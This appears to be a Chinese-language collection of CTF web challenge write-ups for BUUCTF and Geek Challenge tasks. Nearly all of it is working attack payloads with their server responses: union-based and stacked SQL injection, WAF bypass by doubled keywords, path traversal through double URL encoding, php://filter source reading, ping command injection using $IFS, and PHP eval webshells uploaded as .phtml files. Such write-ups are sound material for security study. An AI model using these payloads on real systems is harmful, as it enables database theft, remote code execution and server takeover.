看到SQL就想到先尝试万能密码
1’ or 1=1#
解释:'是为了形成闭合语句,#为注释符(后面语句不再执行)
需要注意的是:
1.#可能会被URL自动进行编码导致语句错误
2.空格被过滤可以使用
/**/
绕过解决:%23为#注释符的url编码
语句相当于:
select * from table_name where username='1' or 1=1 # ' and password='xxxxxx'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为
单引号个数不匹配
而报错。
payload:username=1' order by 3%23&password=123(NO,Wrong username password!!!)
payload:username=1' order by 4%23&password=123(Unknown column '4' in 'order clause')
说明表只有三列
payload:username=1’ union select 1,2,3%23&password=123
使用两次'or 1=1#
?username=1'or 1=1%23&password=1' or 1=1%23
[(70条消息) CTF-BUUCTF-HCTF 2018]WarmUp_黑仔丶的博客-CSDN博客_buuctf的warmup题
F12提示source.php
highlight_file(__FILE__); class emmm { public static function checkFile(&$page) //传入了变量page,也就是我们刚刚传进来的file { // 这里定义了白名单 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { /*为了返回 true 两个条件必须满足 1 page存在 2 page是字符串 , 这里和外层的判断file 一致基本是再次判断了一遍*/ echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } /*in_array(search,array,type) 函数搜索数组中是否存在指定的值, 白名单过滤,需要返回了ture 所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php, 这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/ $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); /*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/ if (in_array($_page, $whitelist)) { return true; } //这里和上面类似 查看_page 是否在白名单中 $_page = urldecode($page); // 这里发现对_page进行了一次decode解码, $_page = mb_substr(//获取两个??之间的内容 $_page, 0, mb_strpos($_page . '?', '?') ); // 这里是我们要绕过的点,从这里往上看 尝试构造 if (in_array($_page, $whitelist)) {//白名单 return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "
"; } /*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 1 REQUEST['file']不为空 2 REQUEST['file']是字符串 3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/ ?> 可以看到函数代码中有四个if语句 第一个if语句对变量进行检验,要求$page为字符串,否则返回false 第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true 第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true 第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true 若以上四个if语句均未返回值,则返回false 有三个if语句可以返回true,第二个语句直接判断$page,不可用 第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用 第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url: 所以我们的payload 就是 file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg
source.php?file=source.php%253f../../../../../ffffllllaaaagggg
解释:
1、PHP $_REQUEST
PHP $_REQUEST 用于收集HTML表单提交的数据。
2、?两次url编码后为:%253f
3、…/…/…/…/…/猜测:根据ffffllllaaaagggg有四层的原因
3、[极客大挑战 2019]Havefun
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
payload:?cat=dog
注意:不能写成?cat=‘dog’(猜测可能被当做字符参数被解析)
只有:Can you find out the flag?
源码也没有提示
无思路了,查询
主要思路:
file=php://filter/read=convert.base64-encode/resource=flag.php
PHP中filter协议详解
php://filter 的使用
读取源文件,并用base编码,绕过
base64编码结果为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MzQ2NTQwYTAtMTI1MS00OGNmLTkyOWItODQ0NDVmMjc0ZTk4fQo=
解码后为:
可以看出:flag为注释内容,也就可以解释了,编码后可以看到完整源码
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
解题具体步骤
思路总结:
1.先判断有无注入点
输入1,回显错误;
`输入1#,正常回显;(说明存在sql注入);
输入1' or '1'='1(不进行注释#,依旧回显正常,证明判断正确)
2.判断字段
1' order by 3 #(1、2均正确,3回显错误,说明有两个字段)《是不是说明了有两个回显位呢?》
3.继续查询
1' union select 1,2#
回显错误返回:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);(正则匹配,过滤关键词),到这里已经能看出来了:很多查询关键字都被过滤了,正常方法是查不到了
4.(查询到了表和字段,但是默认查询表中并没有咱们想要的flag,因此,想要拿到flag必须让默认查询的表与字段和flag所在名匹配 )《此处也可以看出,人家给的第二个默认查询表words并不是没用的(需要知道它内部的名字)》
他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢
/?inject=1';RENAME TABLE
wordsTO
words1;RENAME TABLE
1919810931114514TO
words;ALTER TABLE
wordsCHANGE
flagid
VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
改完后,默认查询id=1,就可以查到了
payload:1' or 1 ='1#
给了一个ping的输入框
php模拟我们常用的DOS命令的ping命令方法,主要用到的是php的**内置函数**exec来调用系统的ping命令,从而实现ping命令功能。
从而想到通过exec函数来进行RCE。
知识点:
注意使用exec函数必须需要服务器支持调用系统内置函数才行。另外也可以使用system等php内置函数来实现这个功能
exec执行一个外部程序
执行给予的命令command,不过它并不会输出任何东西,它简单的从命令的结果中传回最后一行,如果你需要去执行一个命令,并且从命令去取得所有资料时,可以使用passthru()这个函数。
system---执行外部程式并且显示输出
system()执行给予的命令command,并且输出结果。如果有给予参数return_var,则执行命令的状态码将会写到这个变量。
注意:如果你允许来自使用者输入的资料,可以传递到此函数,那么你应该使用escapeshellcmd()来确定此使用者无法哄骗(trick)系统来执行武断的(arbitrary)命令。
注意:如果你使用此函数来启动一个程式,而且希望在背景里(background)执行的时候离开它,你必须确定此程式的输出是转向(redirected)到一个文件或是一些输出的资料流,否则PHP将会悬挂(hang)直到程式执行结束。
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
aaa ; cat /flag(cat flag错误,猜测:/可能是查找所有目录下的flag)
aaa | cat /flag
aaa ||cat /flag
aaa & cat /flag
127.0.0.1 && cat /flag(执行无flag)
参考
php命令exec
PHP短路运算符
echo "国士无双,您一路走好,坚信未来也一定满是赤旗的世界","\n";
$a = 5;
$b = 20;
if ($a = 10 || $b = 7) { //转换类型为bool型,a=1,b被短路
$a++; //bool不参与数值运算
$b++;
}
echo $a,"\n","",$b; //1 21
?>
加深理解
高级思路打击
他的后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag。
所以猜测后端:select $_POST['query'] || flag from flag
结合:
mysql> select 1 from test;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
2 rows in set (0.00 sec)
mysql> select a from test;
ERROR 1054 (42S22): Unknown column 'a' in 'field list'
数字可以回显,字母不可以
mysql> select 1|id from test;
+------+
| 1|id |
+------+
| 1 |
| 3 |
+------+
2 rows in set (0.00 sec)
mysql> select a|id from test;
ERROR 1054 (42S22): Unknown column 'a' in 'field list'
mysql> select *|id from test;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|id from test' at line 1
字母字符均不可以
*,1
相当于
select 1,flag from Flag
select *,1 from Flag
语句含义:从Flag表中,查询所有字段,以及将最后一个字段值显示为1
1;set sql_mode=pipes_as_concat;select 1
看一个writeup
上说,第一种解法是非预期解,预期解应该是1;set sql_mode=PIPES_AS_CONCAT;select 1
。
听都没听过,去查了下set sql_mode=PIPES_AS_CONCAT
,用来处理|
的符号的,将或
操作改成连接
操作。
你想知道蒋璐源的秘密么?
想要的话可以给你,去找吧!把一切都放在那里了!
F12看源码
href="./Archive_room.php"
去看看
我把他们都放在这里了,去看看吧
SECRET
Syclover @ cl4y
查阅结束
没看清么?回去再仔细看看吧。
Syclover @ cl4y
啥也没有,------>页面是直接跳转的
返回头中:
<html>
html>
继续查看
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
?file=flag.php
页面除了背景变黑没变化,F12中在style中背景改为白色,无
源码中过滤了一些关键字
?file=php://filter/convert.base64-encode/resource=flag.php
进行base64转码后得到flag
环境描述:
/?ip=
ping一下本机:ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
继续:ping 127.0.0.1;ls;
PING 127.0.0.1 (127.0.0.1): 56 data bytes flag.php index.php
ping 127.0.0.1;ls;cat flag.php
/?ip= fxck your space!
???花里胡哨
经尝试,过滤了空格
/?ip=
PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
过滤了flag
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
?ip=127.0.0.1;ls;a=g;b=fla;cat$IFS$b$a.php
ps: 参数顺序要注意,ba换位ab,flag会被检测出来:)
参考:ctf ping 命令执行
这群该死的黑客,竟然这么快就找到了我的flag,这次我把它们放在了那个地方,哼哼!
用户名:
密 码:
Syclover @ cl4y
1.判断注入点:1' or 1=1#
得到回显:
跳转到了check.php页面。并得到了用户名和密码:
Login Success!
Hello admin!
Your password is ‘be53a02c355072e2ef4eaa93c02c9ffb’
2.尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
在url中输入:
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 报错
注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
3.用union
查询测试注入点(回显点位):
/check.php?username=1' union select 1,2,3%23&password=1
Login Success!
Hello 2!
Your password is ‘3’
4.得到回显点位为2和3,查询当前数据库名及版本:
/check.php?username=1' union select 1,database(),version()%23&password=1
Hello geek!
Your password is ‘10.3.18-MariaDB’
5.爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
Hello 2!
Your password is ‘geekuser,l0ve1ysq1’
6.猜测为:l0ve1ysq1
这个表:
爆字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
Hello 2!
Your password is ‘id,username,password’
7.爆数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
Hello 2!
Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{d9614f96-0272-4d9d-a8e4-de936e0cd958}’
得到flag:
flag{d9614f96-0272-4d9d-a8e4-de936e0cd958}
我家菜刀丢了,你能帮我找一下么
eval($_POST[“Syc”]);
诶,感觉这个我会哇,可是我没有菜刀哈哈,不知道我仅有的蚁剑有没有缘分见到flag
bp抓包,post传入:
eval($_POST["Syc"]); ?>
简简单单:在最前面的目录中---->flag
- Referer:Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。”
- UA(User Agent):“user agent是指用户代理,简称 UA。 作用:使服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。 (概括:一般访问浏览器的名字都会设置在UA)
- X-Forwarded-For : HTTP 扩展头部。是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
页面中没有发现什么有价值的东西,于是F12查看源码,发现:
href="Secret.php"
访问跳转页面:
得到:
It doesn't come from 'https://Sycsecret.buuoj.cn'
此时想到:题目描述是HTTP(请求头伪造?)
- 构造:Referer:https://Sycsecret.buuoj.cn
- 提示:
Please use "Syclover" browser
- 构造:
User Agent: Syclover
- 提示:No!!! you can only read this locally!!!
- 构造:
X-Forwarded-For: 127.0.0.1
- 得到flag:
flag{54d0092a-e344-464a-b1b8-7a179015c8f6}
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:26365
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Referer: https://Sycsecret.buuoj.cn
X-Forwarded-For: 127.0.0.1
注意:构造的请求头中,每一个参数后需要空格
文件上传框,提示类型为图片
随便提交一个:
返回:NOT image!
将Content-Type里面的格式改为image/jpeg
post传参,写入一句话木马:
返回:NOT!php!
常见绕过后缀的有文件格式有:php,php3,php4,php5,phtml.pht
这里phtml可以绕过,但是返回:
`NO! HACKER! your file included ‘’
GIF89a
<script language="php">eval($_POST['shell']);</script>
成功绕过
猜测路径为
http://432fcfb5-9ceb-4e54-9cb2-1eeabd3b10a6.node4.buuoj.cn:81/upload/aWord1.phtml
密码:
shell
根目录下得到flag文件
文件上传
要求格式为:
考虑:上传一句话木马后发现他有一个白名单,只能上传以这个结尾的文件,那么我们将后缀修改为png上传,再用bp抓包再改为phtml就好
和上一题思路大致
`Content-Type: image/png
`
返回:
Upload Success! Look here~ ./uplo4d/11b327e23e72bfb7bf0cc8c9d098384d.phtml
构造蚁剑链接
http://d2dbf14f-ace8-4c2a-a53d-55ffd313eb12.node4.buuoj.cn:81/uplo4d/11b327e23e72bfb7bf0cc8c9d098384d.phtml
- 这一题好像在前端就进行了文件格式过滤,猜测在js中进行判断,尝试寻找js----->失败
- 只能BP抓包修改后缀类型了
username、passwd框
应该为注入点
1>
?username=11'&password=22
返回:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '22'' at line 1
2>
order by 判断列数11' order by 4#
发现order by 被过滤
返回
right syntax to use near 'der 4#' and password='22'' at line 1
union、or\where\select也被过滤
3>判断回显位
新芝士:关键字双写绕过(猜测只过滤一次)
?username=15' ununionion seselectlect 1,3,4%23
&password=22
返回
Hello 3! Your password is '4'
4>查数据库
11' ununionion seselectlect 1,2,database()%23&password=22
返回
`Hello 2!
Your password is ‘geek’`
5>查表
11' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),database()%23&password=22
返回:
Hello b4bsql,geekuser!
Your password is ‘geek’
6>查字段
11' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),database()%23&password=22
返回
Hello id,username,password!
Your password is 'geek'
7>查值
11' ununionion seselectlect 1,(seselectlect group_concat(id,username,passwoorrd) frofromm b4bsql),database()%23&password=22
返回:
flag{fdbfc75c-253c-482b-8867-dfd6f0dd92e6}!
判断注入点后,常规查询,发现部分关键字被绕过
没有思路
查询了解到有两个方法
- 利用php对字符串的处理特性绕过waf
- Http走私
进行绕waf,首先了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
构造payload来查看目录,用chr转化成ascll码进行绕过
payload1:
? num=1;var_dump(scandir(chr(47)))
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
payload2:查看flag内容
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1string(43) "flag{5392e731-b3c2-45d6-9326-976c11b3c2b0} "